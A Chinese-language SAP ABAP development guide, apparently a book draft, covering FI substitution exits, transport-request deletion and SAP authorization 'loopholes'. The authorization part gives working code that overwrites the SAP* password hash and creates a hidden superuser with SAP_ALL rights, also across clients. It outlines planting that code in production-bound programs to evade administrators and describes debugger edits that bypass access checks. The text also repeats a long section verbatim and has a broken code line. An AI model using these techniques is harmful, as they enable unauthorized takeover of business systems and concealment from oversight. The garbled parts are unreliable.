读者可思考下面几个问题:
思考:
1如果先决条件没有输入任何值,是否退代会无条件执行
2在ZSTSUB(本人自定义),用户可参考SAP标准程序RGGBS000, RGGBS000的Form
会以什么规则在不同级别的(header,Line,Complete doc)退代中做Exit ,用户能否自定义自己的field exit,header exit,line exit 和complete exit
请看此FORM get_exit_titles TABLES etab,有类似语句.
这些由参数c_exit_param_none, c_exit_param_field和c_exit_param_class决定
exits-name = 'U100'.
exits-param = c_exit_param_none. "能用在Field exit,only exit等任何地方
exits-title = text-100.
APPEND exits.
exits-name = 'U101'.
exits-param = c_exit_param_field."此Form只用于字段exit
exits-title = text-101.
APPEND exits.
exits-name = 'U801'.
exits-param = c_exit_param_class.
"Form U801只能在Callup point 3 complete doc才可使用.
exits-title = text-101. "Cost center from CSKS
APPEND exits.
3 BKPF,BSEG什么样的值才可应用在退代程序中
4为什么有些字段即使在退代中更改了但是不生效
下面再以举一实例,彻底剖析退代的运行规则同时解释上面3,4提出的问题.
首 先在FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM|ZSTSUB(自定义)| GBTDMFI0| GBTDMFIJ设置断点你能进行跟踪. 从技术上讲,在回车或保存触发退代前在屏幕上输入的一些值就已经保存在一些内表中,然后才执行退代去根据用户设置的条件去退换一些值而已.
实例:通常企业在期初未关帐前可能需要在上期间记帐.如用户需要假设posting date是上期间某个日期,自动将此日期退换成上期间最后一天.使用抬头退代.
1确定当新增退代时BKPF-BUDAT是否可见
如在此看不到,即使你写了代码也是无效的.如图9-6.
[1]使用only exit U100,也可使用field exit . [2]BKPF-BUDAT可见.
***使用下面参考代码将BCLTAB和BCLFIELD稍微更改就可将BKPF,BSEG任何字段用于退代编码.
1所有退代字段关系在GB01表中,可使用下面代码使用BUDAT可用于退代.
在本人的机器上GB01建立了维护视图,因此实际上可直接使用SE16修改GB01,如果企业可能大量使用退代和确定,可以考虑用SE11为表GB01建立维护视图,否则就使用下面程序.
Report ZMODGB01.
DATA ZGB01 LIKE GB01 .
SELECT SINGLE * INTO ZGB01 FROM GB01
WHERE BOOLCLASS = '008'
AND CLASSTYPE = 'S'
AND BCLTAB = 'BKPF'
AND BCLFIELD = 'BUDAT' .
* AND BCLTAB = 'BSEG'
* AND BCLFIELD = 'PRCTR' .
ZGB01-BEXCLUDE = ''.
MODIFY GB01 FROM ZGB01 .
2 在凭证的退代和确定中,有几个比较有用的Tcode.
GGB0: All Validations.
GGB1: All Substitutions
GGB2: All Rule Class
GGB3:没有这样的Tcode,嘿嘿,你自己造一个吧.
GGB4: 激活
2检查退代代码自动生成.
退代代码是自动生产的,这样的自动生成程序的实际应用很多,比如在CO-PA中,相关表,结构和程序很多是自动生成的,关于程序自动生产请参考拙作ABAP百谈.
记得在OBBH画面当新建一退代时,有如图9-7的画面.
[1]退代名 [2]退代class,这个将对应到自动生成程序GBTDMFIJ.
在 GBTDMFIG中读者能看到四个子程序FORM EXP_TAB_008_BKPF(class 8,callpnt1),FORM EXP_TAB_009_BSEG(class 9,callpnt2), FORM EXP_TAB_015_BKPF和FORM EXP_TAB_015_BSEG(Class 15,Callpnt 3).
现在以FORM EXP_TAB_008_BKPF为例.如果读者不能在此子程序的一个结构TEMP_STRUCT发现想退代的字段(原因就不细解),很明显,必须重新生成退代程序.
*** 如果您的退代不工作可以这样找原因,在GBTDMFIG程序中的上面提到的四个Form的TEMP_STRUCT结构没有看是否有相应的字段.比如在 TEMP_STRUCT结构中没有BKPF-BUDAT,当然posting date的退代代码就会不起作用,此时执行下面步骤3运行RGUGBR00吧.
原因很简单,在退代程序中定义的BKPF,BSEG相当于内表,退代代码按用户的逻辑修改了BKPF后如TEMP_STRUCT(实际对应的是可用做退代的全不字段)中没有,BKPF就被Reset回.
3重新生成程序.
SE38运行RGUGBR00, 将能选的全选上的选项再运行吧(图略).
4.编写代码
下面是参考程序,判断Posting Date如在上期间(非上月,以月为期间只是期间的一特例,国外企业似乎都不这样采用,关于期间请参考第4刀SAP期间概念)自动将其退换成上期最后一天(对其他期间无效,读者可能需要修改才可满足贵企业需求).
FORM u100.
*同一Exit(Form)可用于head(Line item)或Filed 退代,互不影响.
*具体原理可跟踪GBTDMFIG(有GBTDMFI0动态调用)
*此程序由Yueming Li编写,如有必要读者可能需要改动.
Form 100.
BSEG-SGTXT = 'TEST TeXT'.
*BKPF-BUDAT
TABLES: T009B.
DATA: BEGIN OF T_T009B OCCURS 10,
BUMON LIKE T009B-BUMON,
BUTAG LIKE T009B-BUTAG,
END OF T_T009B.
DATA: L_DATE(8) TYPE C,
L_YEAR(4) TYPE C,
L_MONTH(2) TYPE C,
L_DAY(2) TYPE C,
L_PERMONTH(2) TYPE C,
L_CURYEAR(4) TYPE C,
L_CURMONTH(2) TYPE C,
L_CURDAY(2) TYPE C.
L_DATE = SY-DATUM.
L_CURYEAR = L_DATE(4).
L_CURMONTH = L_DATE+4(2).
L_CURDAY = L_DATE+6(2).
L_CURMONTH = L_CURMONTH - 0.
L_PERMONTH = L_CURMONTH - 1.
L_DATE = BKPF-BUDAT.
L_YEAR = L_DATE(4).
L_MONTH = L_DATE+4(2).
L_DAY = L_DATE+6(2).
L_MONTH = L_MONTH - 0.
IF L_CURYEAR NE L_YEAR.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
IF L_MONTH NE L_CURMONTH
AND L_MONTH NE L_PERMONTH.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
SELECT BUMON BUTAG
INTO T_T009B
FROM T009B
WHERE PERIV EQ 'Z1'
AND BDATJ EQ L_YEAR " year
AND ( BUMON EQ L_CURMONTH "Month
OR BUMON EQ L_PERMONTH ).
IF T_T009B-BUMON EQ L_PERMONTH.
APPEND T_T009B.
ENDIF.
IF T_T009B-BUMON EQ L_CURMONTH
AND T_T009B-BUTAG LE L_CURDAY.
APPEND T_T009B.
ENDIF.
ENDSELECT.
SORT T_T009B.
LOOP AT T_T009B.
IF T_T009B-BUMON EQ L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
CONCATENATE L_YEAR T_T009B-BUMON T_T009B-BUTAG INTO L_DATE.
EXIT.
ENDIF.
ENDIF.
IF T_T009B-BUMON GT L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
EXIT.
ENDIF.
ENDIF.
ENDLOOP.
BKPF-BUDAT = L_DATE.
ENDFORM. "U100
使用函数的.
FORM u100. "#EC CALLED
*同一个Form可用做header和line 退代而互不影响.
BSEG-SGTXT = 'Line Item Text'. "For Line Sub.
DATA:Z_PSTDATE TYPE SY-DATUM,
Z_CURPER LIKE T009B-POPER,
Z_CURYEAR LIKE T009B-BDATJ,
Z_PSTPER LIKE T009B-POPER,
Z_PSTYEAR LIKE T009B-BDATJ,
Z_PERLSTDAY LIKE SY-DATUM.
*实际永远不会发生记帐到上年和上上期间的.
*check posting date's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE = BKPF-BUDAT
VERSION = 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD = Z_PSTPER
YEAR = Z_PSTYEAR .
*check sysdate's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE = SY-DATUM
VERSION = 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD = Z_CURPER
YEAR = Z_CURYEAR.
*能否在输入的posting date记帐让系统去判断.
CHECK Z_CURYEAR Z_PSTYEAR OR Z_PSTPER Z_CURPER.
*如posting date不在本期间得到其期间最后一##
Z_PSTPER = Z_PSTPER + 1 .
CALL FUNCTION 'FIRST_DAY_IN_PERIOD_GET'
EXPORTING
I_GJAHR = Z_PSTYEAR
I_PERIV = 'Z1'
I_POPER = Z_PSTPER
IMPORTING
E_DATE = Z_PERLSTDAY .
BKPF-BUDAT = Z_PERLSTDAY - 1 .
BKPF-MONAT = Z_PSTPER . "如果Edit options允许看到期间的话也要改.
5.预制凭证可使用退代吗
这 个问题就好比去问一个人是否有双眉毛一样答案是一般天生是没有,如去整容院整就能有. SAP标准程序是不允许预制凭证有退代的,其实也没必要,因为预制凭证本来就不是正式凭证,比如posting date就算现在根据某种规则退代了,等真正posting时还不是要根据正常凭证的规则去post ,这不多此一举.
如果真需为预制设置退代,也很容易.请看下面分解.
(1)使用/H启动debug,按F6直到执行到SAPMF05A screen Number 1001,在module document_merge设置断点,这个module是判断是否有退代的入口.
(2)parked doc g_status =2 .
如下图加入代码,则退代对FV50预制凭证生效.
FI_VALIDATION_DOC
FI_VALIDATION_HEADER
FI_VALIDATION_ITEM
6.物料凭证可使用退代和确定吗
如果Mat doc产生的同时产生了财务凭证当然可以使用.
4.BKPF|BSEG浅析
5.Dunning催款
6.支票打印
7.
8.
5.CO模块开发实例.
1.
2.
8.
6.Basis相关开发实例
1.删除传输请求
关于传输请求在第二章13节已经有详细说明,下面是一个关于如何删除被锁的传输请求的程序,读者可根据实际情况补充.
通常对锁住的表对象可采用SM12解锁,对传输请求可按下面程序处理.
Program ZSTDELREQ .
data :
itab_e070 like e070 occurs 0 with header line,
* Request header including Req user.
iwa_e070c like e070c, "Request client
itab_e071 like e071 occurs 0 with header line ,
*Request entry line items may include multiple lines
iwa_e07t like e07t , "Requst short text(desc)
iwa_E070A like E070A ,
*If the Request was locked and delelted,Delete Tlock otherwise
*The program will be locked to make any modifications.
itab_tlock like tlock occurs 0 with header line .
parameter reqno like e070-trkorr default '' .
select * into table itab_e070 from e070
where trkorr eq reqno or strkorr eq reqno.
if SY-SUBRC Ne 0 .
write : 'The Request No.:' , Reqno , ' not exist !' .
* exit .
endif .
select single * into iwa_e070c from e070c
where trkorr eq reqno .
select * into table itab_e071 from e071
where trkorr eq reqno .
select single * into iwa_e07t from e07t
where trkorr eq reqno .
select single * into iwa_E070A from e070A
where trkorr eq reqno .
if itab_e070 IS INITIAL .
select * into table itab_tlock from tlock
where trkorr eq reqno .
else.
select * into table itab_tlock from tlock
FOR ALL ENTRIES IN itab_e070
where TRKORR eq itab_e070-trkorr .
endif.
if SY-SUBRC NE 0 .
write : / 'No Locked object for the request NO. was found!'.
endif .
delete :
e070 from table itab_e070 ,
e070c from iwa_e070c,
e071 from table itab_e071,
e07t from iwa_e07t ,
e070A from iwa_E070A ,
tlock from table itab_tlock .
write : / 'The Request No.:' , Reqno ,
' has already been successfully Full deleted'.
如 果开发的程序被包含在$TMP package中,现在想传输到QAS或PRD,需要改换package,一个简单的方法就是将记录从资源库对象目录TADIR表中将记录删除(程序如 下),接下来改变保存激活程序就会重新弹出Create Object Directory Entry的窗口.
Report zdelpackage.
data iwa_tadir like tadir .
select single * into iwa_tadir from tadir
where OBJ_NAME = 'ZXMBCU02'."change to your prog. Name.
delete tadir from iwa_tadir.
2.检测用户授权列表
3.致命SAP权限控制漏洞
尽管SAP系统提供了非常完善的权限控制机制,甚至允许细到字段级和允许用户自定义授权对象,然后SAP权限控制漏洞也是致命的,随便一个小程序就可轻易获取权限
作为职业程序员,对取得权限大多会有一定兴趣(这点催生了一批无聊的所谓Hacker).
读者可自行理解下面几个概,在此不再细述.
[1].Activity(group)
[2].Authorization Object
[3].Profile
[4].Role
实际上决定权限的是Authorization Object , 看USR_USER_AUTH_FOR_OBJ_GET
和AUTHORIZATION_DATA_READ_SELOBJ函数就知道了.
常用权限相关Tcode .
(一)Role(角色)相关T-code:
PFAC 标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG 创建
ROLE_CMP 比较
SUPC 批量建立角色profile
SWUJ 测试
SU03 检测授权
SU25, SU26 检查Profile
(二)建立用户
SU0
SU01
SU01D
SU01_NAV
SU05
SU1
SU10 批量
SU12 批量
SUCOMP:维护用户公司地址
SU2 change用户参数
SUIM 用户信息系统,可by 多个查询.
(三)建立用户组
SUGR:维护
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
(四)维护检查授权
SU20|SU21:如有特殊需要定义自己的authorization fields
SU50|SU51|SU52
SU53:当有权限问题可使用它检测
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:
常用权限相关表格:
TOBJ : All avaiable authorzation objects.(SAP default objects全在此)
USR12: 用户级authoraztion值
USR02:密码table
USR04:Authorization
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户(SM04看到的所有当前活动用户)
USRBF2:记录当前用户所有的授权objects
UST04:User Profile master
UST10C: Composite profiles
UST10S: Single profiles
UST12 : Authorizations
如何获取权限呢 下面举几个实际例子
修改某权限大的用户密码.下面是直接修改SAP*的密码为123.就一句话足矣.
report ZMODPWD.
tables :usr02 .
*Data ZUSR02 like USR02 .
*select single * into zUSR02 from USR02
*where BNAME = 'SAP*'.
*ZUSR02-BNAME = 'SAP*'.
*ZUSR02-Bcode = '9C8AB8600E74D864' .
*ZUSR02-UFLAG = '0' ."unlock SAP*
*Update USR02 from ZUSR02 .
update usr02 set bcode = 'DF52478E6FF90EEB'
where BNAME = 'SAP*'.
就是说通过上面的程序轻易将sap*的密码给修改了.加密算法在此彻底失效
上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.
下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限.
Program ZCRTUSER.
Data ZUSR02 like USR02 .
***1Create User ZSTHACKER according to DDIC
select single * into ZUSR02 from USR02
where BNAME = 'DDIC'.
ZUSR02-BNAME = 'ZSTHACKER'.
ZUSR02-Bcode = 'E3B796BB09F7901B' .
insert USR02 from ZUSR02 .
***2Copy Auth. Obj from SAP*(or other)
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZSTHACKER' .
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可.
Data Ztobj like tobj occurs 0 with header line .
data zusrbf2 like usrbf2.
select * into table ztobj from tobj .
loop at ztobj.
zusrbf2-mandt = sy-mandt.
zusrbf2-bname = 'ZSTHACKER'.
zusrbf2-objct = ztobj-objct.
zusrbf2-auth ='&_SAP_ALL'.
modify USRBF2 FROM zusrbf2 .
endloop .
现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下:
[1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key).
[2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现.
***注意千万不要用此临时用户做一些不合理的动作.
[3]能不能垮client端建立用户和授权呢
回 答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client是300,下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户).
Data zusrbf2 like usrbf2.
Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .
Zusrbf2-bname = 'ZSTHACKER' .
Zusrbf2-mandt = '100'.
Insert into usrbf2 client specified values zusrbf2.
Endselect .
4.再谈开发权限漏洞
从理论上讲,只要有Debut(/H)的权限就应该有机会获取所有权限,有些系统在生产机上ABAPer居然有SE38,SE71等权限,显然这提供了一个很好的机会获取权限.
下面列举的实例是在不使用程序只修改运行变量的情况下或取权限(basis甚至无从追查).
通 常在QAS和PRD server, Basis会使用Tcode SCC4设置不允许更改配置(如下图No changes allowed表示不允许配置)和不允许程序开发(3 No changes to Repository and cross-client Customizing objs).这些配置保存在表T000中.
下面是基于用户有SE38权限后并假设如上图已经限制了不允许开发如何绕过此限制获得开发权限的例子.
为此找到程序LSTRDU34(SE37:TRINT_CORR_CHECK)和LSTRDU44(SE37:TRINT_CORR_INSERT)设置断点更改返回值饶过相关判断就可直接在QAS和PRD server上开发.
如图3.6.4-1中设置断点,当程序运行到此,只要将LV_SUBRC设置0即可.
同样,如图3.6.4-2,设置断点将SY-SUBRC改成0就可.
假 设ABAPer在PRD有SE38权限,在创建程序时会提示不能改变资源库和配置,可按display(如图3.6.4-3)然后按图3.6.4-1和图 3.6.4-2的方法在每次运行到程序LSTRDU34和LSTRDU44时修改LV_SUBRC和SY-SUBRC值为0程序就能被创建并被激活(注意 你可能需要多次修改,出现提示对话框按Display就可).
我所说只要有/H调试权限和SE38(或SE37)就可获得全部权限也是基于这样的思路,打开/H,然后执行SE38设置断点修改内存变量(如过你愿意慢慢单步执行到LSUSEU11,下面的动作都可节省下来,直接使用/H就可满足要求)
如图3.6.4-4,假设在PRD环境中你有SE38权限,你没有SCC4修改Client属性的权限,在LSUSEU11如图设置断点,然后将sy-subrc改成0,于是你就拥有了SCC4的权限,这种方法就是你并不需要使用程序只要修改变量就可获得Tcode权限.
1要真正执行一个未被授权的Tcode除了更改图3.6.4-4,如其有多个screen(程序中经常有Call **Tcode skip first screen),可能其它授权还要检测,理论上,只要你有耐心依然可获得全部权限.
2下面是一个假设你可使用SU01(只能进first screen但不能create,change user的破解方法.)
如图3.6.4-4-1,想获取修改用户权限在LSUU0U02When 'CHANGE'时修改rc = 0即可(SE37: SUSR_USER_MAINT_WITH_DIALOG).
如果想获取新建用户权限,在LSUU0U02找到when 'CREA'.将rc值改成0就可.然后在找到保存时的include程序(读者自行去找),既然能建立user了,授权给SAP_ALL当然就获得了所有权限.
可以任意修改scrip form吗,当然可以,如果想建立更改Scrip Form(SE71)可在LSTRDU39或TR_OBJECT_CHECK(SE37)设置断点.
如图3.6.4-5.
谁真正拥有SAP的权限,我想高明的ABAPer是可获得所需权限的,毕竟系统是用程
序写出的,还有什么用程序做不到的呢
1. 上面描述了如何绕过相应限制建立程序,使用上面的方法可直接更改SAP标准程序,采用这种方法是甚至连Access Key都不要,就是说如在PRD生产环境,如果用户有SA38和/H权限,在LSTRDU34和LSTRDU44设置断点然后修改返回值就可在不需要 Access Key的情况下直接完全修改标准程序.
这样将非常危险,因为就是绕过Access Key (修改LSKEYF00)可在标准程序中Insert,Delete行,起码还不可想修改自写程序一样完全修改程序还能有跟踪.
通常在QAS和PRD server会象图3.6.4一样设置禁止IMG和开发,这时当使用SE38,SE71,Smartforms等Tcode时甚至不会去检测Access Key,使用上面的方法可轻松进行IMG和开发.
2.如何绕过限制去配置(IMG)系统,读者可自行研究.
3. 试着去除任何人在PRD的SE38权限和/H(S_DEVLOP
4. LSTRDU33(SE37: TR_EDIT_CHECK_OBJECTS_KEYS)是用来检测ABAP object可否Edit的,只要在此设置断点即可. LSTRDU34, LSTRDU44, LSTRDU39会被其调用(使用F5单步执行追踪).
开发项目流程简介.
附录:
1.ABAPer常用Tcode
ABAPer 常用Tcode
注意下面两点:
1使用Tcode S001后显示SAP easy access ABAP workbench能看到下面所有Tcode
2使用Tcode不当SE43看到的Area Menu实际上大都是可直接运行的Tcode(但是
不支持/n Area menu,/O Area menu等),运行这些Tcode看到的是相关Application area下所有的可用Tcode层次树,比如ASMN看到的是和AM相关Tcode树,AUTH则是和授权相关Tcode树.
Tcode
描述
CMOD(SMOD)
SAP增强
OSS1
连接SAP OSS
S001
ABAP开发工作台菜单(含多Tcode)
SA38
运行程序(SE38开发)
SCAT
Computer Aided Test Tool
SE01
传递传输请求(同一服务器的不同client)
SE09
传输请求操作
SE10
同SE09
SE11
维护ABAP数据字典
SE12
显示数据字典
SE13|SE14|SE15
数据字典相关
SE16|SE17
查看表数据
SE30
ABAP运行分析
SE32
ABAP文本元素维护
SE35
ABAP/4对话框编程维护
SE36
维护逻辑数据库
SE37
维护Function module
SE38
ABAP 编辑器
SE39
程序比较
SE41
菜单制作器
SE43
应用区菜单(相同功能tcode组成一area menu)
SE51
屏幕绘制器
SE54
生成表的维护视图,然后SE16|SM30可直接维护表数据
SE61
文档维护
SE63
翻译
SE71->SE76
SAPscript相关 Tcode
SE80
ABAP库
SE81
ABAP应用层次
SE84|SE85|SE86
ABAP/4 Repository Information System
SE91
建立消息类和消息
SE92
维护系统Log消息
SE93
给程序维护Tcode
SEU
Repository Object Browser
SHD0
维护Tcode运行变式(Variant)
SM04
查看当前用户
SM12
删除显示Locked objects(不可删除被lock的传输请求)
SM21
Dump log查看
SM30|SM31
维护table|view数据
SM32
维护表
SM35
查看Batch input session(建立BDC使用SHDB)
SM36
定义后台job
SM37
查看后台job
SM50
Process Overview
SM51
Display system servers, processes, etc.
SM62
Display/Maintain events in SAP
ST05
SQL等跟踪,使用它可跟踪程序使用的表等.
SU53
思考:
1如果先决条件没有输入任何值,是否退代会无条件执行
2在ZSTSUB(本人自定义),用户可参考SAP标准程序RGGBS000, RGGBS000的Form
会以什么规则在不同级别的(header,Line,Complete doc)退代中做Exit ,用户能否自定义自己的field exit,header exit,line exit 和complete exit
请看此FORM get_exit_titles TABLES etab,有类似语句.
这些由参数c_exit_param_none, c_exit_param_field和c_exit_param_class决定
exits-name = 'U100'.
exits-param = c_exit_param_none. "能用在Field exit,only exit等任何地方
exits-title = text-100.
APPEND exits.
exits-name = 'U101'.
exits-param = c_exit_param_field."此Form只用于字段exit
exits-title = text-101.
APPEND exits.
exits-name = 'U801'.
exits-param = c_exit_param_class.
"Form U801只能在Callup point 3 complete doc才可使用.
exits-title = text-101. "Cost center from CSKS
APPEND exits.
3 BKPF,BSEG什么样的值才可应用在退代程序中
4为什么有些字段即使在退代中更改了但是不生效
下面再以举一实例,彻底剖析退代的运行规则同时解释上面3,4提出的问题.
首 先在FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM|ZSTSUB(自定义)| GBTDMFI0| GBTDMFIJ设置断点你能进行跟踪. 从技术上讲,在回车或保存触发退代前在屏幕上输入的一些值就已经保存在一些内表中,然后才执行退代去根据用户设置的条件去退换一些值而已.
实例:通常企业在期初未关帐前可能需要在上期间记帐.如用户需要假设posting date是上期间某个日期,自动将此日期退换成上期间最后一天.使用抬头退代.
1确定当新增退代时BKPF-BUDAT是否可见
如在此看不到,即使你写了代码也是无效的.如图9-6.
[1]使用only exit U100,也可使用field exit . [2]BKPF-BUDAT可见.
***使用下面参考代码将BCLTAB和BCLFIELD稍微更改就可将BKPF,BSEG任何字段用于退代编码.
1所有退代字段关系在GB01表中,可使用下面代码使用BUDAT可用于退代.
在本人的机器上GB01建立了维护视图,因此实际上可直接使用SE16修改GB01,如果企业可能大量使用退代和确定,可以考虑用SE11为表GB01建立维护视图,否则就使用下面程序.
Report ZMODGB01.
DATA ZGB01 LIKE GB01 .
SELECT SINGLE * INTO ZGB01 FROM GB01
WHERE BOOLCLASS = '008'
AND CLASSTYPE = 'S'
AND BCLTAB = 'BKPF'
AND BCLFIELD = 'BUDAT' .
* AND BCLTAB = 'BSEG'
* AND BCLFIELD = 'PRCTR' .
ZGB01-BEXCLUDE = ''.
MODIFY GB01 FROM ZGB01 .
2 在凭证的退代和确定中,有几个比较有用的Tcode.
GGB0: All Validations.
GGB1: All Substitutions
GGB2: All Rule Class
GGB3:没有这样的Tcode,嘿嘿,你自己造一个吧.
GGB4: 激活
2检查退代代码自动生成.
退代代码是自动生产的,这样的自动生成程序的实际应用很多,比如在CO-PA中,相关表,结构和程序很多是自动生成的,关于程序自动生产请参考拙作ABAP百谈.
记得在OBBH画面当新建一退代时,有如图9-7的画面.
[1]退代名 [2]退代class,这个将对应到自动生成程序GBTDMFIJ.
在 GBTDMFIG中读者能看到四个子程序FORM EXP_TAB_008_BKPF(class 8,callpnt1),FORM EXP_TAB_009_BSEG(class 9,callpnt2), FORM EXP_TAB_015_BKPF和FORM EXP_TAB_015_BSEG(Class 15,Callpnt 3).
现在以FORM EXP_TAB_008_BKPF为例.如果读者不能在此子程序的一个结构TEMP_STRUCT发现想退代的字段(原因就不细解),很明显,必须重新生成退代程序.
*** 如果您的退代不工作可以这样找原因,在GBTDMFIG程序中的上面提到的四个Form的TEMP_STRUCT结构没有看是否有相应的字段.比如在 TEMP_STRUCT结构中没有BKPF-BUDAT,当然posting date的退代代码就会不起作用,此时执行下面步骤3运行RGUGBR00吧.
原因很简单,在退代程序中定义的BKPF,BSEG相当于内表,退代代码按用户的逻辑修改了BKPF后如TEMP_STRUCT(实际对应的是可用做退代的全不字段)中没有,BKPF就被Reset回.
3重新生成程序.
SE38运行RGUGBR00, 将能选的全选上的选项再运行吧(图略).
4.编写代码
下面是参考程序,判断Posting Date如在上期间(非上月,以月为期间只是期间的一特例,国外企业似乎都不这样采用,关于期间请参考第4刀SAP期间概念)自动将其退换成上期最后一天(对其他期间无效,读者可能需要修改才可满足贵企业需求).
FORM u100.
*同一Exit(Form)可用于head(Line item)或Filed 退代,互不影响.
*具体原理可跟踪GBTDMFIG(有GBTDMFI0动态调用)
*此程序由Yueming Li编写,如有必要读者可能需要改动.
Form 100.
BSEG-SGTXT = 'TEST TeXT'.
*BKPF-BUDAT
TABLES: T009B.
DATA: BEGIN OF T_T009B OCCURS 10,
BUMON LIKE T009B-BUMON,
BUTAG LIKE T009B-BUTAG,
END OF T_T009B.
DATA: L_DATE(8) TYPE C,
L_YEAR(4) TYPE C,
L_MONTH(2) TYPE C,
L_DAY(2) TYPE C,
L_PERMONTH(2) TYPE C,
L_CURYEAR(4) TYPE C,
L_CURMONTH(2) TYPE C,
L_CURDAY(2) TYPE C.
L_DATE = SY-DATUM.
L_CURYEAR = L_DATE(4).
L_CURMONTH = L_DATE+4(2).
L_CURDAY = L_DATE+6(2).
L_CURMONTH = L_CURMONTH - 0.
L_PERMONTH = L_CURMONTH - 1.
L_DATE = BKPF-BUDAT.
L_YEAR = L_DATE(4).
L_MONTH = L_DATE+4(2).
L_DAY = L_DATE+6(2).
L_MONTH = L_MONTH - 0.
IF L_CURYEAR NE L_YEAR.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
IF L_MONTH NE L_CURMONTH
AND L_MONTH NE L_PERMONTH.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
SELECT BUMON BUTAG
INTO T_T009B
FROM T009B
WHERE PERIV EQ 'Z1'
AND BDATJ EQ L_YEAR " year
AND ( BUMON EQ L_CURMONTH "Month
OR BUMON EQ L_PERMONTH ).
IF T_T009B-BUMON EQ L_PERMONTH.
APPEND T_T009B.
ENDIF.
IF T_T009B-BUMON EQ L_CURMONTH
AND T_T009B-BUTAG LE L_CURDAY.
APPEND T_T009B.
ENDIF.
ENDSELECT.
SORT T_T009B.
LOOP AT T_T009B.
IF T_T009B-BUMON EQ L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
CONCATENATE L_YEAR T_T009B-BUMON T_T009B-BUTAG INTO L_DATE.
EXIT.
ENDIF.
ENDIF.
IF T_T009B-BUMON GT L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
EXIT.
ENDIF.
ENDIF.
ENDLOOP.
BKPF-BUDAT = L_DATE.
ENDFORM. "U100
使用函数的.
FORM u100. "#EC CALLED
*同一个Form可用做header和line 退代而互不影响.
BSEG-SGTXT = 'Line Item Text'. "For Line Sub.
DATA:Z_PSTDATE TYPE SY-DATUM,
Z_CURPER LIKE T009B-POPER,
Z_CURYEAR LIKE T009B-BDATJ,
Z_PSTPER LIKE T009B-POPER,
Z_PSTYEAR LIKE T009B-BDATJ,
Z_PERLSTDAY LIKE SY-DATUM.
*实际永远不会发生记帐到上年和上上期间的.
*check posting date's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE = BKPF-BUDAT
VERSION = 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD = Z_PSTPER
YEAR = Z_PSTYEAR .
*check sysdate's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE = SY-DATUM
VERSION = 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD = Z_CURPER
YEAR = Z_CURYEAR.
*能否在输入的posting date记帐让系统去判断.
CHECK Z_CURYEAR Z_PSTYEAR OR Z_PSTPER Z_CURPER.
*如posting date不在本期间得到其期间最后一##
Z_PSTPER = Z_PSTPER + 1 .
CALL FUNCTION 'FIRST_DAY_IN_PERIOD_GET'
EXPORTING
I_GJAHR = Z_PSTYEAR
I_PERIV = 'Z1'
I_POPER = Z_PSTPER
IMPORTING
E_DATE = Z_PERLSTDAY .
BKPF-BUDAT = Z_PERLSTDAY - 1 .
BKPF-MONAT = Z_PSTPER . "如果Edit options允许看到期间的话也要改.
5.预制凭证可使用退代吗
这 个问题就好比去问一个人是否有双眉毛一样答案是一般天生是没有,如去整容院整就能有. SAP标准程序是不允许预制凭证有退代的,其实也没必要,因为预制凭证本来就不是正式凭证,比如posting date就算现在根据某种规则退代了,等真正posting时还不是要根据正常凭证的规则去post ,这不多此一举.
如果真需为预制设置退代,也很容易.请看下面分解.
(1)使用/H启动debug,按F6直到执行到SAPMF05A screen Number 1001,在module document_merge设置断点,这个module是判断是否有退代的入口.
(2)parked doc g_status =2 .
